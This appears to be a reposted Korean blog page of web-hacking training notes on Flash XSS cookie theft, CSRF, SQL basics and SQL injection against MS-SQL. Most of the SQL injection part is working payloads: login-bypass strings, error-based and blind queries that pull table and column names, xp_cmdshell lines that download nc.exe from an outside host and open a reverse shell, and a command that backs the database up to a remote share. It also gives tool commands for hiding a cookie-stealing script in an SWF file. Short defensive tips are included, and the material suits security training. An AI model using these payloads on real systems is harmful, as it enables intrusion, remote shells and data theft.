- Flash 파일에서 사용하는 Action Script를 이용하여 Flash파일이 포함된 페이지를 열람하는 클라이언트의 Cookie를 빼내오는 XSS 공격이다.

 

 

실습 시 준비물

- 실습에 사용할 정상적인 SWF 파일 1개

- MTASC (Motion Twin Active Script Compiler)

- SWFTools

- 악성 SWF 파일을 서비스할 웹 서버 1대

- Cookie와 클라이언트 IP를 수집할 공격자 웹 서버 1대

 

 

Action Script 코드

 

 

기존 Flash에 Script 삽입하기

- Action Script를 삽입하고자 하는 플래쉬 파일의 정보 확인

  └ swfdump.exe --width --height --rate examflash.swf

- 알아낸 정보와 같은 형태의 플래쉬 파일 생성

  └ mtasc.exe -swf sendcookie.swf -main -header 180:150:12 sendcookie.as

- 플래쉬 파일 결합

  └ swfcombine.exe -o xss_cookie.swf -T sendcookie.swf examflash.swf

 

 

Flash 파일을 웹 페이지에 등록하기

- 공격이 성공하여 Flash파일이 클라이언트의 브라우저에서 동작하면 공격자의 웹 서버로 Cookie 값을 전송하게 된다.

 

 

대응책

- Embed 태크를 사용하지 않도록 한다.

- 사용해야 할 경우 Embed 태크를 필터링하여 스크립트가 수행되지 않도록 한다.

  └ AllowScriptAccess 를 'Never'로 설정

 

 

CSRF(Cross Site Request Forgery)

CSRP의 특징

- Victim에 의해 Request가 발생하기 때문에 공격자의 IP 추적이 어렵다.

- XSS와 달리 자바스크립트를 사용할 수 없는 상황에서도 공격이 가능하다.

 

 

공격 조건

- 공격자는 사이트에서 제공하는 해당 기능의 Request/Response를 분석해야 한다.

- 사이트가 Session Token만으로 해당 기능의 권한을 인증하고 있을 때 가능하다.

 

CSRF(Cross Site Request Forgery)

- a.k.a XSRF

- pronounce C-Surf

- One-click Attack / Zero-click Attack

- 사이트에서 제공하는 기능을 신뢰된 사용자의 권한으로 요청하도록 하는 공격

  ┌ 공격자의 악성코드를 읽은 Victim은 자신도 모르게 Request를 서버로 보내게 되고 서버는 Victim의 권한으로 Request에 대한 처리를 하게 된다.

  └ 즉 Session Hijacking과 유사한 권한 도용 공격이다.

 

공격의 범위

- 서버에서 지원하는 모든 기능이 공격범위가 될 수 있다.

  └ DB를 모두 삭제하는 기능을 관리자에게 지원하면 공격자는 이 공격을 이용해서 DB삭제도 가능하다.

 

 

 

 

CSRF 공격의 예

- 댓글 자동 달기

- 자동 친구 등록

- 자동 회원 정보 변경

- 도토리 자동 기부

- 이 외에도 웹 애플리케이션이 지원하는 기능을 사용할 수 있다.

CSRF Attack Flow

 

 

XSS와 CSRF의 차이점

- CSRF를 이용하여 게시판에 CSRF 스크립트를 올려 글 읽는 사람의 개인정보를 자동으로 변경할 수도 있다.

CSRF 악성코드

- 악성 스크립트가 Posting되어 있는 글을 읽으면 읽는 사람의 권한으로 회원정보를 변경하는 페이지가 호출되게 된다.

POST 방식의 CSRF

- Post 방식을 사용하는 경우에는 Form을 이용하여 공격이 가능하다.

Form의 Reference를 얻어오는 방법

- document.Forms[]

- document.getElementById()

- document.getElementByName()

 

대응책

- XSS 취약점이 없도록 확인한다.

- 웹 클라이언트로부터 전달된 Session Token의 진위성을 확인한다.

 

- 단순히 Session Token만을 이용한 권한 부여를 금지한다.

  └ 사이트에서 제공하는 중요한 기능은 email이나 전화, SMS등을 이용하여 재 인증을 요구하게 한다.

- GET 방식보다 POST 방식 사용을 권장하나 POST 방식으로 사용하더라도 보안성이 크게 향상되지는 않는다.

  └ POST 방식도 CSRF가 가능

 

사용자 대응책

- 사이트 이용 후 반드시 로그아웃 한다.

- 아무거나 들어가지 않는다.

 

 

SQL Basic

SQL (Structured Query Language)

- DDL과 DML을 포함하는 Database 관리용 언어

  ┌ DDL : 데이터 정의어

  ├ DML : 데이터 조작어

  └ DCL : 데이터 제어어

 

 

SELECT 문

- 형식

 

- 의미

  ┌ <테이블>에서 <조건>에 맞는 레코드를 검색한 후 <필드>에 해당하는 값들만 출력하라

  └ Ex) SELECT * FROM member WHERE name='박소현'

 

집계함수 (Aggregate function)

- 형식

  └ SELECT 집단함수(<필드명>)

      FROM <테이블명>

- 집단함수

  ┌ COUNT : 반환레코드의 개수

  ├ SUM : 값의 합계

  ├ AVG : 값의 평균

  ├ MAX : 값의 최대값

  └ MIN : 값의 최소값

- Ex) SELECT COUNT(*) FROM member

 

 

GROUP BY / HAVING

- 형식

- 의미

  └ 출력된 레코드를 그룹으로 묶고 각 그룹에 대한 요약 값을 계산

 

 

UNION

- 형식

 └ 합쳐질 레코드의 개수와 타입이 맞아야 한다.

- 의미

  └ 두 테이블의 검색결과를 합쳐서 반환한다.

 

 

 

 

JOIN

- CROSS JOIN

- INNET JOIN

- OUTER JOIN

  ┌ LEFT OUTER JOIN

  └ RIGHT OUTER JOIN

 

 

 

 

INSERT

- 형식

- 의미

  └ 테이블에 레코드를 추가한다.

 

 

 

 

UPDATE

- 형식

- 의미

  └ <조건>에 맞는 레코드의 <필드>값을 <변경될 값>으로 변경한다.

 

 

 

DELETE

- 형식

- 의미

  └ <테이블명>에서 <조건>에 맞는 레코드를 삭제한다.

 

 

SQL Injection

SQL Injection이란?

- 사용자가 서버에 제출한 데이터가 SQL Query로 사용되어 Database나 시스템에 영향을 주는 공격기법

 

Main Cause

- 사용자로부터 입력 받은 데이터를 이용하여 동적으로 Query구문을 완성하도록 되어있는 페이지에서 사용자로부터 입력된 데이터가 적절한 검증 없이 DB Query문의 일부로 포함되는 경우에 발생할 수 있다.

 

 

 

Impact

- 웹 어플리케이션 인증 우회

- Database 덤프, 조작, 파괴

- 시스템 커맨드의 실행 (주로 MS-SQL에서 발생)

- 시스템 주요 파일 노출

 

 

웹 어플리케이션의 일반적인 인증절차

 

1. ID / Password 입력

2. SQL Query 생성

3. Database에 Query 전송

4. Database에서 Query 실행

5. 반환되는 Return 값에 따라 인증 여부판단

 

 

SQL Injection 가능성 확인하기

 

- SQL 구문에 영향을 줄 수 있는 문자들을 다양한 방법으로 삽입하여 결과를 확인한다.

  ┌ '

  ├ "

  ├ ;

  ├ --

  ├ #

  └ /* */

- MS-SQL, MySQL, ORACLE

 

SQL Injection을 이용한 인증우회

- 일반적인 어플리케이션의 인증방식 (취약한 방식)

  └ 사용자로부터 ID/PW를 입력 받은 후 해당 ID와 PW가 일치하는 레코드가 존재하는지 검사 후

┌ 레코드가 존재하는 경우 : 인증 성공

└ 레코드가 존재하지 않는 경우 : 인증 실패

- 인증에 취약한 코드 예

- 인증에 사용되는 SQL Query

  └ SELECT * FROM user_table WHERE id='사용자 입력값' and pw='사용자 입력값'

└ 입력된 id와 pw가 만족하는 레코드 셋을 가져오게 된다.

- SQL Injection을 이용한 인증우회 핵심

  ┌ WHERE절 이하의 조건이 항상 참이 되도록 한다.

  ├ Query 구문이 에러가 나지 않도록 해야 한다.

  └ ※ SQL Injection에 사용할 입력값은 Query문에 따라 달라질 수 있다.

 

웹 페이지 로그인

- ID : 'OR'1'='1

- PW : 'OR'1'='1

 

조작된 SQL Query문

Ex)

SELECT * FROM member WHERE user_id="OR'1'='1' AND user_pw="OR'1'='1'

 

 

 

결과

- member의 모든 행이 반환된다.

- 이 경우 반환되는 레코드 셋은 테이블의 전체 레코드가 반환되며 레코드셋의 현재 포인터가 일반적으로 최초로 입력된 첫 번째 레코드에 있게 됨으로 첫 번째 사용자의 권한을 갖게된다.

- 관리자의 계정은 테이블의 처음이나 끝에 두어서는 안되고 별도의 관리자 테이블을 구성하도록 해야한다.

 

 

특정 ID의 권한으로 로그인 하기

- 사용자 ID를 획득한 경우 비밀번호 없이 입력한 사용자의 권한으로 인증을 우회할 수 있다.

- 게시판에서 관리자의 ID를 확인했더니 admin 이었다면 아래와 같은 코드를 이용하여 admin의 계정으로 로그인이 가능하다.

- 입력

  ┌ ID : admin'--

  └ PW : Anything

- 조작된 SQL Query문

  └ where user_id='admin'-- and passwd='Anything'

- 결과

  └ admin 계정의 권한으로 로그인

 

 

변환 에러를 이용한 데이터 알아내기

- 문자열과 숫자데이터의 비교연산은 형 변환 에러를 유발하며 문자열데이터를 에러메시지에 포함하게 된다.

- '와 같은 문자를 입력하여 에러유발시 Column명이 도출될 수 있다.

 

└ 인터넷 옵션에 고급에서 HTTP 오류 메시지 표시를 해제한다.

 

Ex) 로그인 창 ID부분에

nuno' and user_pw=1--

를 입력한다.

 

└ 아이디에 대한 비밀번호를 얻을 수 있다.

 

UNION을 이용한 데이터 알아내기

- UNION을 이용하여 mismatch를 발생시켜 Select 구문에 Field의 갯수를 알아낼 수 있고 문자열데이터의 경우 그 데이터를 알아 낼 수 있다.

- 정상적인 UNION 구문은 레코드셋의 필드의 갯수와 타입이 맞아야 한다.

- 이때 데이터 타입에 오류가 발생하면 오류가 발생한 값을 에러메시지에 포함시키게 된다.

  └ Ex) ID : nuno' UNION select 'a',1--

- 어떤 필드에서 에러가 발생했는지 알 수 없음으로 제일 앞의 필드부터 하나씩 문자로 바꿔가며 테스트해본다.

 

단점

- 문자열 형태의 값만 알아낼 수 있다.

- 숫자형 데이터의 경우 묵시적 형 변환 시 에러가 발생되지 않음으로 에러를 통한 방법으로는 알아낼 수 없다.

 

 

 

Database Schema 파악하기

DB Schema 파악

 

- SQL Injection을 이용하여 단순히 인증우회만이 가능한 것은 아니다.

- DB Schema를 파악한 후 DB의 모든 레코드를 알아낼 수 있다.

 

Client Side Validation 우회

 

- DB Schema를 파악하는 Query 구문은 일반적으로 입력문자열의 길이가 비교적 길기 때문에 입력값 사이즈 제한을 하는 경우에는 이를 우회해야 한다.

Database명 알아내기 : db_name()을 이용

 

- Database의 이름을 문자열로 반환하는 MS-SQL 함수이다. 문자열을 숫자와 비교하는 구문이 됨으로 형 변환 중 오류가 발생하게 되며 에러 메시지를 화면에 표시 하는 경우에 변환에 실패한 값인 Database 이름을 에러 메시지에 포함하게 된다.

 

Table명 알아내기

 

- 방법

  └ 에러를 유발시켜 에러메시지에 Table 이름이 포함되게 한다.

 

- Table명을 포함한 시스템 테이블

  ┌ sysobjects

  ├ information_schema.tables

  └ information_schema.columns

- 모든 테이블의 이름을 알아내기 위한 방법

  ┌ 알아낸 Table 이름을 하나씩 제거하면서 알아낸다.

  ├ 알아낸 Table 이름과 비교연산을 통해 하나씩 차례대로 알아낸다.

  └ Top 구문을 이용하여 검색결과를 하나씩 늘리면서 정렬/역정렬을 통해 알아낸다.

  └ xtype : 개체의 유형을 나타낸다.

┌ U : 사용자 테이블

├ P : 저장프로시저

├ S : 시스템 테이블

├ V : 뷰

└ X : 확장프로시저

Web Page에서 Table명 알아내기

Ex)

' or (select top 1 name from webhack.dbo.sysobjects where xtype='U') > 1 --

  └ webhack이라는 DB안에 있는 Table 중 xtype이 사용자 테이블인 것 중 가장 위에 있는 table 1개를 보여준다.

' or (select top 1 name from webhack.dbo.sysobjects where xtype='U' and name!='zipcode') > 1 --

 └ webhack이라는 DB안에 있는 Table 중 xtype이 사용자 테이블인 것 중 zipcode를 제외한 가장 위에 있는 table 1개를 보여준다.

' or (select top 1 name from webhack.dbo.sysobjects where xtype='U' order by name) > 1 --

  └  webhack이라는 DB안에 있는 Table 중 xtype이 사용자 테이블인 것 중 오름차순으로 가장 위에 있는 table 1개를 보여준다.

Table명 알아내는 방법

 

 

위와 같이 임의의 테이블을 알아보기 위해서 숫자를 대입한다.

' or (select top 1 name from (select top 2 name from webhack.dbo.sysobjects where xtype='U' order by name) as rename order by name desc)=1 --

' or (select top 1 name from (select top 3 name from webhack.dbo.sysobjects where xtype='U' order by name) as rename order by name desc)=1 --

각각 다른 결과값이 출력된다.

 

Column명 알아내기

 

- 방법

  ┌ syscolumns를 이용

  ├ Information_schema.columns 이용

  └ GROUP BY 구문을 이용

 

 

조작된 SQL Query문

Ex)

select * from member where user_id='nuno' and (select top 1 name from syscolumns where id = 1 and name>'0')=1

 

- syscolumns의 레코드는 id 값에 따라 table이 구분된다. 그럼으로 각 Table의 id 값을 미리 파악해야 한다.

 

Object_id()

- 데이터베이스 개체 ID를 반환

- Object_id("object)

 

Object_name()

- 데이터베이스 개체 이름을 반환

- Object_name(object_id)

 

Column명 알아내기 : information_schema.columns를 이용

- Information_schema.columns를 이용할 경우에는 table_name과 column_name이 테이블에 포함되어 있음으로 table_name을 알아낼 수도 있다.

 

 

 

 

Column명 알아내기 : Group By를 이용한 방법

- 알려진 Column명 하나를 Group by 절에 포함시키면 포함되지 않은 Field 명들을 에러로 보여준다.

- 단 현재 Table에 관련된 Column 명만 확인이 가능하다.

Data 알아내기

 

- Table과 Column 이름을 파악했음으로 각각의 데이터도 알아낼 수 있다.

  └ 단, 에러유발을 이용한 방법으로는 문자열 데이터만 확인이 가능하다.

 

Blind SQL Injection

Blind SQL Injection이란?

 

- 웹 서버에서 SQL Injection을 대응하기 위해서 내부 Database 오류를 보여주지 않도록 설정해 놓은 경우 참과 거짓을 구분할 수 있는 구문을 만들어 데이터를 알아내는 방법이다.

 

 

Impact

 

- 형 변환 에러를 이용한 방법으로는 숫자형태의 데이터를 알아낼 수 없으나 Blind Injection을 이용하면 숫자형태의 데이터까지도 알아낼 수 있다.

 

Blind SQL Injection은 보통 Query 문이 상당히 길기 때문에 입력 값 사이즈 제한을 하는 경우에는 소스를 수정하거나, Proxy tool을 이용하여 우회하도록 한다.

 

 

전제조건

 

- SQL Query의 참과 거짓의 판단이 가능해야 한다.

 

Ex) SQL Injection 취약점을 가진 Login 페이지

 

- 참과 거짓을 구분할 수 있는 SQL 구문을 입력

 

 

 

 

  └ 위의 구문 수행 후 정상적으로 로그인 되어야 한다.

 └ 위의 구문 수행 후 로그인에 실패해야 한다.

- 정상적인 ID가 없는 경우에는 ' or 1=1나 ' or 1=2도 가능하다.

 

Blind Injection Database 이름 알아내기

 

- 입력

  └ ID : nuno' and substring(db_name(),1,1)='w'--

- 아래와 같이 다른 형태로도 표현이 가능하다.

  ┌ ID : nuno' and substring(db_name(),1,1) = (0x77)--

  ├ ID : nuno' and substring(db_name(),1,1) = char(119)--

  └ ID : nuno' and substring(db_name(),1,1) = char(0x77)--

 

 

결과

 

- db_name()의 반환값의 첫 번째 문자열이 'w'인 경우

  └ 정상적으로 로그인 된다.

- db_name()의 반환값의 첫 번째 문자열이 'w'이 아닌경우

  └ 로그인 실패

 

설명

 

- substring()함수는 문자열에서 특정부분을 반환할 수 있는 함수로서 위의 코드에서는 db_name 결과값을 첫 번째 문자열이 0x77('w')인 경우에 nuno라는 계정으로 로그인 되게 된다.

└ 로그인에 실패한 경우에는 뒤에서 비교한 0x77이 아니라는 것을 알 수 있다.

 

 

 

문자열의 끝 확인하기

 

- 문자열의 끝까지 비교가 끝나면 substring은 아무런 값도 반환하지 않음으로 0과 비교할 경우에 참이 된다.

- 문자열의 끝이 아닌 경우 0과 비교하면 형 변환 오류가 발생하게 된다.

 

Attack 횟수 줄이기

 

- Attack 횟수를 줄이기 위해서는 알파벳 첫 글자부터 선서대로 비교하는 것 보다는 이분법을 이용한 방법을 이용하는 것이 훨씬 속도가 빠르다.

 

 

 

 

Stored Procedure를 이용한 공격

Stroed Procedure

 

- DBMS에서 지원하는 저장된 프로시저이다.

- 동적인 SQL 구문보다 성능이 좋다.

- 특정한 기능을 미리 구현해 놓고 여러 번 반복 호출하여 사용할 수 있다.

- 미리 저장된 기능을 이용함으로 코드의 변경부분이 최소화 된다.

- 같은 프로시저라 하더라도 Parameter에 따라 여러가지 기능을 수행할 수 있다.

- 입력된 파라미터를 문자열로 처리됨으로 사용자가 입력된 데이터가 SQL 쿼리 구문으로 해석될 우려가 없다.

 

Stroed Procedure의 악용

 

- MS-SQL의 경우 편의성과 성능을 위해 제공하는 Procedure들이 오히려 시스템의 보안에 영향을 줄 수 있다.

- Oracle의 경우 이런 기능을 기본적으로 제공하지는 않지만 Java나 PL/SQL 등을 이용하여 구현할 수도 있다.

 

악용의 예

 

- 공격자는 이런 보안상 취약한 프로시저를 이용하여 쉘을 수행시키거나, Query의 결과를 HTML로 제공, 레지스트리 조작, 서비스 시작/중지, 시스템 정보 획득 등에 이용할 수 있다.

 

 

 

Stored Procedure List

 

xp_cmdshell

 

- 시스템 명령어를 실행

 

xp_servicecontrol

 

- 윈도우 서비스를 제어

 

sp_makewebtask

 

- Query의 결과를 웹 페이지로 생성

 

 

 

 

sp_addextendedproc

 

- Drop된 Stored Procedure를 등록

 

레지스트리 관련

 

- xp_regread

- xp_regwrite

- xp_regaddmultistring

- xp_regremovemultistring

- xp_regdeletekey

- xp_regdeletevalue

- xp_regenumvalues

 

 

xp_cmdshell

- 공격자는 ICMP 패킷이 수신되는지 확인

 

쉘 획득하기

 

- tftp 서버를 이용하여 nc.exe를 웹 서버로 업로드 시키고 Reverse Connection을 통해 쉘 획득

  ┌ 공격자는 tftp나 ftp 서비스를 하고 공격툴을 준비한다.

  ├ xp_cmdshell를 이용하여 공격자의 서버로부터 nc.exe를 업로드 시킨다.

  └ nc <ip> <port> -e cmd.exe를 실행하여 공격자는 쉘 획득

 

- ftp를 이용하여 공격툴을 업로드 한다.

EX)

tftp 실행 후

ID : '; exec master.dbo.xp_cmdshell 'tftp -i www.webhack.com GET nc.exe' --

client에서 cmd -> nc -lvp 1234

ID : '; exec master.dbo.xp_cmdshell 'nc [client ip] 1234 -e cmd.exe' --

 

Stored Procedure를 이용하여 Registry를 수정하고 Telnet 서비스를 실행한다.

 

- 레지스트리 수정하기

 

- telnet 서비스 시작

  ┌ 방법1

┌ xp_cmdshell을 이용

└ sc 혹은 net 명령어를 수행

  └ 방법2

┌ xp_servicecontrol 이용

└ EXEC master..xp_servicecontrol 'start', 'TlntSvr'

 

sp_makewebtask

 

- SQL의 결과를 HTML 페이지로 생성한다.

 

- 생성된 페이지

- stored procedure 실행 결과를 HTML 페이지로 생성하기

Stored Procedure 재활성화

 

- 관리자가 Stored Procedure를 사용하지 못하도록 Drop한 경우 재활성화 하기

- [관리자]

  ┌ xp_cmdshell 프로시저를 삭제한다.

  ├ EXEC master..sp_dropextendedproc 'xp_cmdshell';

  ├ xp_cmdshell 사용가능여부 확인

  └ EXEC master..xp_cmdshell 'dir'

- [공격자]

 

  ┌ xp_cmdshell이 사용가능한지 여부를 확인해야 한다.

  ├  ICMP reply가 수신되는지 확인한다.

  └ 수신되지 않을 경우 xp_cmdshell을 재 등록한다.

DB 덤프

 

- 데이터 베이스 덤프 하기

 

- [공격자]

  ┌ 쓰기 속성이 포함된 공유 폴더를 준비한다.

  ├ SQL Injection을 이용한 DB Backup을 시도한다.

  ├ ID : nuno'; backup database webhack to disk='\\10.10.30.100\share\webhack.dat

  └ 위 명령이 정상적으로 실행되면 10.10.30.100번 공유폴더에 webhack Database가 webhack.dat라는 이름으로 백업된다.

SQL Injection 대응책

 

- 사용자로부터 입력되는 값을 반드시 서버에 체크한다.

  ┌ Client Side Script를 이용해서도 입력 값 제한이 가능하나 이는 공격자가 충분히 우회가 가능함으로 반드시 해당 내용을 서버에서 체크한다.

  └ SQL Injection에 사용되는 문자를 필터링 한다.

┌ ', ", ;, --, # 등등

└ select, insert, delete, update, drop, union, group by, having 등

 

- Database 계정의 권한을 낮춘다.

- Error 메세지를 제한한다.

- 중요한 Query는 Stored Procedure로 작성하여 사용한다.

- Web 방화벽 사용한다.

 

[출처] http://kimdongwook.tistory.com/m/post/33